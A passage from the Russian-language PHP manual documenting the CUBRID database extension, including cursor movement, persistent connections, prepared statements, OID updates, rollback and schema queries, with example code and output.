$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_put($conn, $oid, "b", array(2, 4, 8));

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
array(3) {
  [0]=>
  string(1) "2"
  [1]=>
  string(1) "4"
  [2]=>
  string(1) "8"
}

Смотрите также

  • cubrid_lock_read() - Устанавливает блокировку чтения для данного OID

User Contributed Notes

There are no user contributed notes for this page.


Перемещает курсор в результате

  • « cubrid_lock_write
  • cubrid_next_result »
  • PHP Manual
  • Функции CUBRID
  • Перемещает курсор в результате

cubrid_move_cursor

(PECL CUBRID >= 8.3.0)

cubrid_move_cursor — Перемещает курсор в результате

Описание

cubrid_move_cursor(resource $req_identifier, int $offset, int $origin = CUBRID_CURSOR_CURRENT): bool

Функция cubrid_move_cursor() используется для перемещения текущего положения курсора req_identifier на значение, заданное в аргументе offset, в направлении, заданном в аргументе origin. Чтобы установить аргумент origin, вы можете использовать CUBRID_CURSOR_FIRST для первой части результата, CUBRID_CURSOR_CURRENT для текущего местоположения результата или CUBRID_CURSOR_LAST для последней части результата. Если аргумент origin не указан явно, тогда функция использует CUBRID_CURSOR_CURRENT в качестве значения по умолчанию.

Если значение диапазона перемещения курсора превышает допустимый предел, то курсор перемещается в следующее место после допустимого диапазона для курсора. Например, если вы переместите 20 единиц в результате с размером 10, то курсор переместится на 11-е место и вернёт CUBRID_NO_MORE_DATA.

Список параметров

req_identifier

Идентификатор запроса.

offset

Количество единиц, на которые нужно переместить курсор.

origin

Место, из которого вы хотите переместить курсор: CUBRID_CURSOR_FIRST, CUBRID_CURSOR_CURRENT или CUBRID_CURSOR_LAST.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_move_cursor()

<?php
$conn = cubrid_connect("127.0.0.1", 33000, "demodb", "dba");

$req = cubrid_execute($conn, "SELECT * FROM code");
cubrid_move_cursor($req, 1, CUBRID_CURSOR_LAST);

$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_CURRENT);
$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

array(2) {
  [0]=>
  string(1) "G"
  [1]=>
  string(4) "Gold"
}
array(2) {
  [0]=>
  string(1) "X"
  [1]=>
  string(5) "Mixed"
}
array(2) {
  [0]=>
  string(1) "M"
  [1]=>
  string(3) "Man"
}

Смотрите также

  • cubrid_execute() - Выполняет подготовленный SQL-оператор

User Contributed Notes

There are no user contributed notes for this page.


Получает результат следующего запроса при выполнении нескольких SQL-операторов

  • « cubrid_move_cursor
  • cubrid_num_cols »
  • PHP Manual
  • Функции CUBRID
  • Получает результат следующего запроса при выполнении нескольких SQL-операторов

cubrid_next_result

(PECL CUBRID >= 8.4.0)

cubrid_next_result — Получает результат следующего запроса при выполнении нескольких SQL-операторов

Описание

cubrid_next_result(resource $result): bool

Функция cubrid_next_result() используется для получения результатов следующего запроса, если выполняется несколько SQL-операторов и для cubrid_execute() установлен флаг CUBRID_EXEC_QUERY_ALL.

Список параметров

result

result из вызова функции cubrid_execute().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_next_result()

<?php
$conn = cubrid_connect("127.0.0.1", 33000, "demodb", "dba");

$sql_stmt = "SELECT * FROM code; SELECT * FROM history WHERE host_year=2004 AND event_code=20281";
$res = cubrid_execute($conn, $sql_stmt, CUBRID_EXEC_QUERY_ALL);

get_result_info($res);
cubrid_next_result($res);
get_result_info($res);

function get_result_info($req)
{
printf("\n------------ get_result_info --------------------\n");

$row_num = cubrid_num_rows($req);
$col_num = cubrid_num_cols($req);

$column_name_list = cubrid_column_names($req);
$column_type_list = cubrid_column_types($req);

$column_last_name = cubrid_field_name($req, $col_num - 1);
$column_last_table = cubrid_field_table($req, $col_num - 1);

$column_last_type = cubrid_field_type($req, $col_num - 1);
$column_last_len = cubrid_field_len($req, $col_num - 1);

$column_1_flags = cubrid_field_flags($req, 1);

printf("%-30s %d\n", "Количество строк:", $row_num);
printf("%-30s %d\n", "Количество столбцов:", $col_num);
printf("\n");

printf("%-30s %-30s %-15s\n", "Названия столбцов", "Типы столбцов", "Длина столбцов");
printf("------------------------------------------------------------------------------\n");

$size = count($column_name_list);
for($i = 0; $i < $size; $i++) {
$column_len = cubrid_field_len($req, $i);
printf("%-30s %-30s %-15s\n", $column_name_list[$i], $column_type_list[$i], $column_len);
}
printf("\n\n");

printf("%-30s %s\n", "Название последнего столбца:", $column_last_name);
printf("%-30s %s\n", "Таблица последнего столбца:", $column_last_table);
printf("%-30s %s\n", "Тип последнего столбца:", $column_last_type);
printf("%-30s %d\n", "Длина последнего столбца:", $column_last_len);
printf("%-30s %s\n", "Флаги второго столбца:", $column_1_flags);

printf("\n\n");
}
?>

Результат выполнения данного примера:

------------ get_result_info --------------------
Row count:                     6
Column count:                  2

Названия столбцов                 Типы столбцов                   Длина столбцов
------------------------------------------------------------------------------
s_name                         char                           1
f_name                         varchar                        6

Название последнего столбца:          f_name
Таблица последнего столбца:           code
Тип последнего столбца:              varchar
Длина последнего столбца:            6
Флаги второго столбца:

------------ get_result_info --------------------
Количество строк:                    4
Количество столбцов:                  5

Названия столбцов                 Типы столбцов                   Длина столбцов
------------------------------------------------------------------------------
event_code                     integer                        11
athlete                        varchar                        40
host_year                      integer                        11
score                          varchar                        10
unit                           varchar                        5

Название последнего столбца:      unit
Таблица последнего столбца:       history
Тип последнего столбца:          varchar
Длина последнего столбца:        5
Флаги второго столбца:          not_null primary_key unique_key

Смотрите также

  • cubrid_execute() - Выполняет подготовленный SQL-оператор

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество столбцов в наборе результатов

  • « cubrid_next_result
  • cubrid_num_rows »
  • PHP Manual
  • Функции CUBRID
  • Возвращает количество столбцов в наборе результатов

cubrid_num_cols

(PECL CUBRID >= 8.3.0)

cubrid_num_cols — Возвращает количество столбцов в наборе результатов

Описание

cubrid_num_cols(resource $result): int

Функция cubrid_num_cols() используется для получения количества столбцов из результата запроса. Её можно использовать только в том случае, если выполняемый запрос является оператором SELECT.

Список параметров

result

Результат.

Возвращаемые значения

Количество столбцов в случае успешного выполнения.

false, если SQL-выражение не является SELECT.

Примеры

Пример #1 Пример использования cubrid_num_cols()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

$req = cubrid_execute($conn, "SELECT * FROM code");

$row_num = cubrid_num_rows($req);
$col_num = cubrid_num_cols($req);

printf("Количество строк: %d\nКоличество столбцов: %d\n", $row_num, $col_num);

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

Количество строк: 6
Количество столбцов: 2

Смотрите также

  • cubrid_execute() - Выполняет подготовленный SQL-оператор
  • cubrid_num_rows() - Получить количество строк в наборе результатов

User Contributed Notes

There are no user contributed notes for this page.


Получить количество строк в наборе результатов

  • « cubrid_num_cols
  • cubrid_pconnect_with_url »
  • PHP Manual
  • Функции CUBRID
  • Получить количество строк в наборе результатов

cubrid_num_rows

(PECL CUBRID >= 8.3.0)

cubrid_num_rows — Получить количество строк в наборе результатов

Описание

cubrid_num_rows(resource $result): int

Функция cubrid_num_rows() используется для получения количества строк результата запроса. Может использоваться для операторов SELECT. Для запросов INSERT, UPDATE или DELETE, используйте функцию cubrid_affected_rows().

Примечание: Функцию cubrid_num_rows() можно использовать только для синхронного запроса; функция возвращает 0, если используется для асинхронного запроса.

Список параметров

result

result из вызова функций cubrid_execute(), cubrid_query() и cubrid_prepare()

Возвращаемые значения

Количество строк в случае успешного выполнения процесса.

0, если запрос был выполнен в асинхронном режиме.

-1, если SQL-оператор не является SELECT.

false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_num_rows()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

$req = cubrid_execute($conn, "SELECT * FROM code");

$row_num = cubrid_num_rows($req);
$col_num = cubrid_num_cols($req);

printf("Количество строк: %d\nКоличество столбцов: %d\n", $row_num, $col_num);

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

Количество строк: 6
Количество столбцов: 2

Смотрите также

  • cubrid_execute() - Выполняет подготовленный SQL-оператор
  • cubrid_num_cols() - Возвращает количество столбцов в наборе результатов
  • cubrid_affected_rows() - Количество строк, затронутых последним SQL-запросом

User Contributed Notes

There are no user contributed notes for this page.


Открывает постоянное соединение с сервером CUBRID

  • « cubrid_num_rows
  • cubrid_pconnect »
  • PHP Manual
  • Функции CUBRID
  • Открывает постоянное соединение с сервером CUBRID

cubrid_pconnect_with_url

(PECL CUBRID >= 8.3.1)

cubrid_pconnect_with_url — Открывает постоянное соединение с сервером CUBRID

Описание

cubrid_pconnect_with_url(string $conn_url, string $userid = ?, string $passwd = ?): resource

Устанавливает постоянное соединение с сервером CUBRID.

cubrid_pconnect_with_url() действует очень похоже на cubrid_connect_with_url() с двумя основными отличиями:

Во-первых, при подключении функция сначала попытается найти (постоянную) ссылку, которая уже открыта с тем же хостом, портом, именем базы данных и идентификатором пользователя. Если соединение будет найдено, вместо открытия нового будет возвращён его идентификатор.

Во-вторых, соединение с SQL-сервером не будет закрыто по окончании выполнения скрипта. Вместо этого ссылка останется открытой для использования в будущем (cubrid_close() или cubrid_disconnect() не закроет ссылки, установленные cubrid_pconnect_with_url()).

Поэтому этот тип ссылки называется "постоянным".

<url> ::= CUBRID:<host>:<db_name>:<db_user>:<db_password>:[?<properties>]

<properties> ::= <property> [&<property>]

<properties> ::= alhosts=<alternative_hosts>[ &rctime=<time>]

<properties> ::= login_timeout=<milli_sec>

<properties> ::= query_timeout=<milli_sec>

<properties> ::= disconnect_on_query_timeout=true|false

<alternative_hosts> ::= <standby_broker1_host>:<port> [,<standby_broker2_host>:<port>]

<host> := HOSTNAME | IP_ADDR

<time> := SECOND

<milli_sec> := MILLI SECOND

  • host : Имя хоста или IP-адрес основной базы данных
  • db_name : Имя базы данных
  • db_user : Имя пользователя базы данных
  • db_password : Пароль пользователя базы данных
  • alhosts : Задаёт информацию о брокере резервного сервера, который будет использоваться в случае недоступности основного. Если вы зададите несколько резервных брокеров, то попытки соединения будут происходить в том же порядке, как они описаны в URL.
  • rctime : Интервал между попытками подключения к активному брокеру, в котором произошёл сбой. После возникновения ошибки, система соединится с резервным брокером, указанным в althosts (failover), откатит незавершённые транзакции, и затем попытается соединиться с активным брокером основного узла через каждые rctime. Значение по умолчанию 600 секунд.
  • login_timeout : Максимальное время (миллисекунды) ожидания авторизации. По умолчанию 0, что обозначает бесконечное время ожидания.
  • query_timeout : Максимальное время (миллисекунды) ожидания выполнения запроса. По исчерпании этого времени на сервер будет отослано сообщение о прекращении запроса. Возвращённое значение запроса будет зависеть от настройки disconnect_on_query_timeout; даже если будет послано сообщение о прекращении запроса, он всё ещё может завершиться удачно.
  • disconnect_on_query_timeout : Определяет, будет ли сразу после превышения времени ожидания запроса возвращена ошибка. По умолчанию false.

Замечание:

Символы ? и : являются специальными в URL соединения и не могут быть использованы в пароле. Пример некорректного пароля, который нельзя использовать в строке соединения, потому, что в нем используются символы "?:".

$url = "CUBRID:localhost:33000:tdb:dba:12?:?login_timeout=100";

Пароли, содержащие ? или : могут быть посланы отдельно.

$url = "CUBRID:localhost:33000:tbd:::?login_timeout=100";

$conn = cubrid_pconnect_with_url ($url, "dba", "12?");

Если логин или пароль пусты, необходимо всё равно сохранять символы ":":

$url = "CUBRID:localhost:33000:demodb:::";

Список параметров

conn_url

Строка, содержащая информацию для соединения.

userid

Имя пользователя базы данных.

passwd

Пароль пользователя.

Возвращаемые значения

Идентификатор соединения в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_pconnect_with_url() без задания свойств

<?php
$conn_url = "CUBRID:127.0.0.1:33000:demodb:dba::";
$con = cubrid_pconnect_with_url ($conn_url);

if ($con) {
echo "соединение успешно выполнено";
cubrid_execute($con, "create table person(id int,name char(16))");
$req =cubrid_execute($con, "insert into person values(1,'James')");

if ($req) {
cubrid_close_request ($req);
cubrid_commit ($con);
} else {
cubrid_rollback ($con);
}
cubrid_disconnect ($con);
}
?>

Пример #2 cubrid_pconnect_with_url() url with properties example

<?php
$conn_url = "CUBRID:127.0.0.1:33000:demodb:dba::?althost=10.34.63.132:33088&rctime=100";
$con = cubrid_pconnect_with_url ($conn_url);

if ($con) {
echo "соединение успешно выполнено";
$req =cubrid_execute($con, "insert into person values(1,'James')");

if ($req) {
cubrid_close_request ($req);
cubrid_commit ($con);
} else {
cubrid_rollback ($con);
}
cubrid_disconnect ($con);
}
?>

Смотрите также

  • cubrid_connect() - Открывает соединение к серверу CUBRID
  • cubrid_connect_with_url() - Создаёт окружение для соединения с сервером CUBRID
  • cubrid_pconnect() - Открывает постоянное соединение с сервером CUBRID
  • cubrid_disconnect() - Закрывает соединение с базой данных
  • cubrid_close() - Закрывает соединение с базой данных

User Contributed Notes

There are no user contributed notes for this page.


Открывает постоянное соединение с сервером CUBRID

  • « cubrid_pconnect_with_url
  • cubrid_prepare »
  • PHP Manual
  • Функции CUBRID
  • Открывает постоянное соединение с сервером CUBRID

cubrid_pconnect

(PECL CUBRID >= 8.3.1)

cubrid_pconnect — Открывает постоянное соединение с сервером CUBRID

Описание

cubrid_pconnect(
string $host,
int $port,
string $dbname,
string $userid = ?,
string $passwd = ?
): resource

Устанавливает постоянное соединение с сервером CUBRID.

cubrid_pconnect() действует очень похоже на cubrid_connect() с двумя основными отличиями:

Во-первых, при подключении функция сначала попытается найти (постоянную) ссылку, которая уже открыта с тем же хостом, портом, именем базы данных и идентификатором пользователя. Если соединение будет найдено, вместо открытия нового будет возвращён его идентификатор.

Во-вторых, соединение с SQL-сервером не будет закрыто по окончании выполнения скрипта. Вместо этого ссылка останется открытой для использования в будущем (cubrid_close() или cubrid_disconnect() не закроет ссылки, установленные cubrid_pconnect()).

Поэтому этот тип ссылки называется "постоянным".

Список параметров

host

Имя хоста или IP-адрес сервера CUBRID CAS.

port

Номер порта CUBRID CAS-сервера (BROKER_PORT настроенный в $CUBRID/conf/cubrid_broker.conf).

dbname

Имя базы данных.

userid

Имя пользователя базы данных.

passwd

Пароль пользователя.

Возвращаемые значения

Идентификатор соединения в случае успешного выполнения процесса или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_connect()

<?php
printf("%-30s %s\n", "Версия PHP CUBRID:", cubrid_version());

printf("\n");

$conn = cubrid_pconnect("localhost", 33000, "demodb", "dba");

if (!$conn) {
die('Ошибка соединения ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Информация о сервере:", $server_info);
printf("%-30s %s\n", "Информация о клиенте:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "Кодировка CUBRID:", $charset);

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

Версия PHP CUBRID:             9.1.0.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              1

Информация о сервере:             9.1.0.0212
Информация о клиенте:             9.1.0

Кодировка CUBRID:                iso8859-1

Смотрите также

  • cubrid_connect() - Открывает соединение к серверу CUBRID
  • cubrid_connect_with_url() - Создаёт окружение для соединения с сервером CUBRID
  • cubrid_pconnect_with_url() - Открывает постоянное соединение с сервером CUBRID
  • cubrid_disconnect() - Закрывает соединение с базой данных
  • cubrid_close() - Закрывает соединение с базой данных

User Contributed Notes

There are no user contributed notes for this page.


Подготавливает SQL-выражение к выполнению

  • « cubrid_pconnect
  • cubrid_put »
  • PHP Manual
  • Функции CUBRID
  • Подготавливает SQL-выражение к выполнению

cubrid_prepare

(PECL CUBRID >= 8.3.0)

cubrid_prepare — Подготавливает SQL-выражение к выполнению

Описание

cubrid_prepare(resource $conn_identifier, string $prepare_stmt, int $option = 0): resource

Функция cubrid_prepare() - это своего рода API, который представляет выражения SQL, скомпилированные ранее для данного дескриптора соединения. Этот предварительно скомпилированное SQL-выражение будет включено в функцию cubrid_prepare().

Соответственно, вы можете эффективно использовать этот оператор для многократного выполнения или для обработки больших данных. Можно использовать только один оператор, а в параметре можно указать вопросительный знак (?) в соответствующую область SQL-выражения. Добавьте параметр при привязке значения в VALUES выражения INSERT или в выражении WHERE. Обратите внимание, что можно привязать значение к вопросительному знаку (?) только с помощью функции cubrid_bind().

Список параметров

conn_identifier

Идентификатор соединения.

prepare_stmt

Подготовленный запрос.

option

Опция возврата OID CUBRID_INCLUDE_OID.

Возвращаемые значения

Идентификатор запроса в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_prepare()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$sql = <<<EOD
SELECT g.event_code, e.name
FROM game g
JOIN event e ON g.event_code=e.code
WHERE host_year = ? AND event_code NOT IN (SELECT event_code FROM game WHERE host_year=?) GROUP BY event_code;
EOD;

$req = cubrid_prepare($conn, $sql);

cubrid_bind($req, 1, 2004);
cubrid_bind($req, 2, 2000);
cubrid_execute($req);

$row_num = cubrid_num_rows($req);
printf("%d соревнований пройдут на олимпиаде 2004, но не в 2000. Например:\n\n", $row_num);

printf("%-15s %s\n", "Код соревнования", "Название");
printf("----------------------------\n");

$row = cubrid_fetch_assoc($req);
printf("%-15d %s\n", $row["event_code"], $row["name"]);
$row = cubrid_fetch_assoc($req);
printf("%-15d %s\n", $row["event_code"], $row["name"]);

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

27 соревнований пройдут на олимпиаде 2004, но не в 2000. Например:

Код соревнования   Название
----------------------------
20063           +91kg
20070           64kg

Смотрите также

  • cubrid_execute() - Выполняет подготовленный SQL-оператор
  • cubrid_bind() - Связывает переменные с подготовленным запросом

User Contributed Notes

There are no user contributed notes for this page.


Обновляет столбец с использованием OID

  • « cubrid_prepare
  • cubrid_rollback »
  • PHP Manual
  • Функции CUBRID
  • Обновляет столбец с использованием OID

cubrid_put

(PECL CUBRID >= 8.3.0)

cubrid_put — Обновляет столбец с использованием OID

Описание

cubrid_put(
resource $conn_identifier,
string $oid,
string $attr = ?,
mixed $value
): bool

Функция cubrid_put() используется для обновления атрибута экземпляра данного oid.

Вы можете обновить один атрибут, используя строковый тип данных для установки attr. В таком случае вы можете использовать данные целого числа, числа с плавающей запятой или числа строкового типа в качестве аргумента value. Чтобы обновить несколько атрибутов, вы можете пропустить аргумент attr и установить аргумент value в виде ассоциативного массива.

Список параметров

conn_identifier

Идентификатор соединения

oid

OID экземпляра, который необходимо обновить

attr

Имя атрибута, который необходимо обновить

value

Новое значение, которое необходимо присвоить атрибуту

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_put()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_put($conn, $oid, "b", array(2, 4, 8));

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
array(3) {
  [0]=>
  string(1) "2"
  [1]=>
  string(1) "4"
  [2]=>
  string(1) "8"
}

Смотрите также

  • cubrid_get() - Получает столбец, используя OID
  • cubrid_set_add() - Вставляет один элемент для установки столбца типа с помощью OID
  • cubrid_set_drop() - Удаляет элемент из столбца заданного типа, используя OID
  • cubrid_seq_insert() - Вставляет элемент в столбец типа последовательности, используя OID
  • cubrid_seq_drop() - Удаляет элемент из столбца типа последовательности, используя OID
  • cubrid_seq_put() - Обновляет значение элемента столбца типа последовательности, используя OID

User Contributed Notes

There are no user contributed notes for this page.


Откат транзакции

  • « cubrid_put
  • cubrid_schema »
  • PHP Manual
  • Функции CUBRID
  • Откат транзакции

cubrid_rollback

(PECL CUBRID >= 8.3.0)

cubrid_rollback — Откат транзакции

Описание

cubrid_rollback(resource $conn_identifier): bool

Функция cubrid_rollback() выполняет откат транзакции, на которую указывает conn_identifier, которая в данный момент выполняется.

Соединение с сервером закрывается после вызова cubrid_rollback(). Однако дескриптор соединения всё ещё действителен.

Список параметров

conn_identifier

Connection identifier.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_rollback()

<?php
$conn = cubrid_connect("127.0.0.1", 33000, "demodb", "dba");
cubrid_set_autocommit($conn,false);

@cubrid_execute($conn, "DROP TABLE publishers");

$sql = <<<EOD
CREATE TABLE publishers(
pub_id CHAR(3),
pub_name VARCHAR(20),
city VARCHAR(15),
state CHAR(2),
country VARCHAR(15)
)
EOD;

if (!cubrid_execute($conn, $sql)) {
printf("Ошибка объекта: %d\nКод ошибки: %d\nСообщение об ошибке: %s\n", cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

cubrid_disconnect($conn);
exit;
}

$req = cubrid_prepare($conn, "INSERT INTO publishers VALUES(?, ?, ?, ?, ?)");

$id_list = array("P01", "P02", "P03", "P04");
$name_list = array("Abatis Publishers", "Core Dump Books", "Schadenfreude Press", "Tenterhooks Press");
$city_list = array("New York", "San Francisco", "Hamburg", "Berkeley");
$state_list = array("NY", "CA", NULL, "CA");
$country_list = array("USA", "USA", "Germany", "USA");

for ($i = 0, $size = count($id_list); $i < $size; $i++) {
cubrid_bind($req, 1, $id_list[$i]);
cubrid_bind($req, 2, $name_list[$i]);
cubrid_bind($req, 3, $city_list[$i]);
cubrid_bind($req, 4, $state_list[$i]);
cubrid_bind($req, 5, $country_list[$i]);

if (!($ret = cubrid_execute($req))) {
break;
}
}

if (!$ret) {
cubrid_rollback($conn);
} else {
cubrid_commit($conn);

$req = cubrid_execute($conn, "SELECT * FROM publishers");
while ($result = cubrid_fetch_assoc($req)) {
printf("%-3s %-20s %-15s %-3s %-15s\n",
$result["pub_id"], $result["pub_name"], $result["city"], $result["state"], $result["country"]);
}
}

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

P01 Abatis Publishers    New York        NY  USA
P02 Core Dump Books      San Francisco   CA  USA
P03 Schadenfreude Press  Hamburg             Germany
P04 Tenterhooks Press    Berkeley        CA  USA

Смотрите также

  • cubrid_commit() - Подтверждение транзакции
  • cubrid_disconnect() - Закрывает соединение с базой данных

User Contributed Notes

There are no user contributed notes for this page.


Получает запрошенную информацию о схеме

  • « cubrid_rollback
  • cubrid_seq_drop »
  • PHP Manual
  • Функции CUBRID
  • Получает запрошенную информацию о схеме

cubrid_schema

(PECL CUBRID >= 8.3.0)

cubrid_schema — Получает запрошенную информацию о схеме

Описание

cubrid_schema(
resource $conn_identifier,
int $schema_type,
string $class_name = ?,
string $attr_name = ?
): array

Функция cubrid_schema() используется для получения запрошенной информации о схеме из базы данных. Вы должны указать class_name, если вы хотите получить информацию об определённом классе, attr_name, если вы хотите получить информацию об определённом атрибуте (может использоваться только с CUBRID_SCH_ATTR_PRIVILEGE).

Результат функции cubrid_schema() возвращается в виде двумерного массива (столбец(ассоциативный массив) * строка(числовой массив)). В следующих таблицах показаны типы схем и структура столбцов результирующего массива, которые должны быть возвращены на основе типа схемы.

Состав результата каждого типа
Схема | Номер столбца | Имя столбца | Значение
CUBRID_SCH_CLASS | 1 | NAME |
 | 2 | TYPE | 0:system class 1:vclass 2:class
CUBRID_SCH_VCLASS | 1 | NAME |
 | 2 | TYPE | 1:vclass
CUBRID_SCH_QUERY_SPEC | 1 | QUERY_SPEC |
CUBRID_SCH_ATTRIBUTE / CUBRID_SCH_CLASS_ATTRIBUTE | 1 | ATTR_NAME |
 | 2 | DOMAIN |
 | 3 | SCALE |
 | 4 | PRECISION |
 | 5 | INDEXED | 1:indexed
 | 6 | NOT NULL | 1:not null
 | 7 | SHARED | 1:shared
 | 8 | UNIQUE | 1:unique
 | 9 | DEFAULT |
 | 10 | ATTR_ORDER | base:1
 | 11 | CLASS_NAME |
 | 12 | SOURCE_CLASS |
 | 13 | IS_KEY | 1:key
CUBRID_SCH_METHOD / CUBRID_SCH_CLASS_METHOD | 1 | NAME |
 | 2 | RET_DOMAIN |
 | 3 | ARG_DOMAIN |
CUBRID_SCH_METHOD_FILE | 1 | METHOD_FILE |
CUBRID_SCH_SUPERCLASS / CUBRID_SCH_DIRECT_SUPER_CLASS / CUBRID_SCH_SUBCLASS | 1 | CLASS_NAME |
 | 2 | TYPE | 0:system class 1:vclass 2:class
CUBRID_SCH_CONSTRAINT | 1 | TYPE | 0:unique 1:index 2:reverse unique 3:reverse index
 | 2 | NAME |
 | 3 | ATTR_NAME |
 | 4 | NUM_PAGES |
 | 5 | NUM_KEYS |
 | 6 | PRIMARY_KEY | 1:primary key
 | 7 | KEY_ORDER | base:1
CUBRID_SCH_TRIGGER | 1 | NAME |
 | 2 | STATUS |
 | 3 | EVENT |
 | 4 | TARGET_CLASS |
 | 5 | TARGET_ATTR |
 | 6 | ACTION_TIME |
 | 7 | ACTION |
 | 8 | PRIORITY |
 | 9 | CONDITION_TIME |
 | 10 | CONDITION |
CUBRID_SCH_CLASS_PRIVILEGE / CUBRID_SCH_ATTR_PRIVILEGE | 1 | CLASS_NAME / ATTR_NAME |
 | 2 | PRIVILEGE |
 | 3 | GRANTABLE |
CUBRID_SCH_PRIMARY_KEY | 1 | CLASS_NAME |
 | 2 | ATTR_NAME |
 | 3 | KEY_SEQ | base:1
 | 4 | KEY_NAME |
CUBRID_SCH_IMPORTED_KEYS / CUBRID_SCH_EXPORTED_KEYS / CUBRID_SCH_CROSS_REFERENCE | 1 | PKTABLE_NAME |
 | 2 | PKCOLUMN_NAME |
 | 3 | FKTABLE_NAME | base:1
 | 4 | FKCOLUMN_NAME |
 | 5 | KEY_SEQ | base:1
 | 6 | UPDATE_ACTION | 0:cascade 1:restrict 2:no action 3:set null
 | 7 | DELETE_ACTION | 0:cascade 1:restrict 2:no action 3:set null
 | 8 | FK_NAME |
 | 9 | PK_NAME |

Список параметров

conn_identifier

Идентификатор соединения.

schema_type

Данные схемы, которые вы хотите узнать.

class_name

Класс, для которого вы хотите узнать схему.

attr_name

Атрибут, для которого вы хотите узнать схему.

Возвращаемые значения

Массив, содержащий информацию о схеме, в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.3.1 | Изменено возвращаемое значение: если процесс завершился с ошибкой, возвращается false, а не -1.

Примеры

Пример #1 Пример использования cubrid_schema()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

printf("\n--- Первичный ключ ---\n");
$pk = cubrid_schema($conn, CUBRID_SCH_PRIMARY_KEY, "game");
var_dump($pk);

printf("\n--- Внешние ключи ---\n");
$fk = cubrid_schema($conn, CUBRID_SCH_IMPORTED_KEYS, "game");
var_dump($fk);

printf("\n--- Атрибут столбца ---\n");
$attr = cubrid_schema($conn, CUBRID_SCH_ATTRIBUTE, "stadium", "area");
var_dump($attr);

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

--- Первичный ключ ---
array(3) {
  [0]=>
  array(4) {
    ["CLASS_NAME"]=>
    string(4) "game"
    ["ATTR_NAME"]=>
    string(12) "athlete_code"
    ["KEY_SEQ"]=>
    string(1) "3"
    ["KEY_NAME"]=>
    string(41) "pk_game_host_year_event_code_athlete_code"
  }
  [1]=>
  array(4) {
    ["CLASS_NAME"]=>
    string(4) "game"
    ["ATTR_NAME"]=>
    string(10) "event_code"
    ["KEY_SEQ"]=>
    string(1) "2"
    ["KEY_NAME"]=>
    string(41) "pk_game_host_year_event_code_athlete_code"
  }
  [2]=>
  array(4) {
    ["CLASS_NAME"]=>
    string(4) "game"
    ["ATTR_NAME"]=>
    string(9) "host_year"
    ["KEY_SEQ"]=>
    string(1) "1"
    ["KEY_NAME"]=>
    string(41) "pk_game_host_year_event_code_athlete_code"
  }
}

--- Внешние ключи ---
array(2) {
  [0]=>
  array(9) {
    ["PKTABLE_NAME"]=>
    string(7) "athlete"
    ["PKCOLUMN_NAME"]=>
    string(4) "code"
    ["FKTABLE_NAME"]=>
    string(4) "game"
    ["FKCOLUMN_NAME"]=>
    string(12) "athlete_code"
    ["KEY_SEQ"]=>
    string(1) "1"
    ["UPDATE_RULE"]=>
    string(1) "1"
    ["DELETE_RULE"]=>
    string(1) "1"
    ["FK_NAME"]=>
    string(20) "fk_game_athlete_code"
    ["PK_NAME"]=>
    string(15) "pk_athlete_code"
  }
  [1]=>
  array(9) {
    ["PKTABLE_NAME"]=>
    string(5) "event"
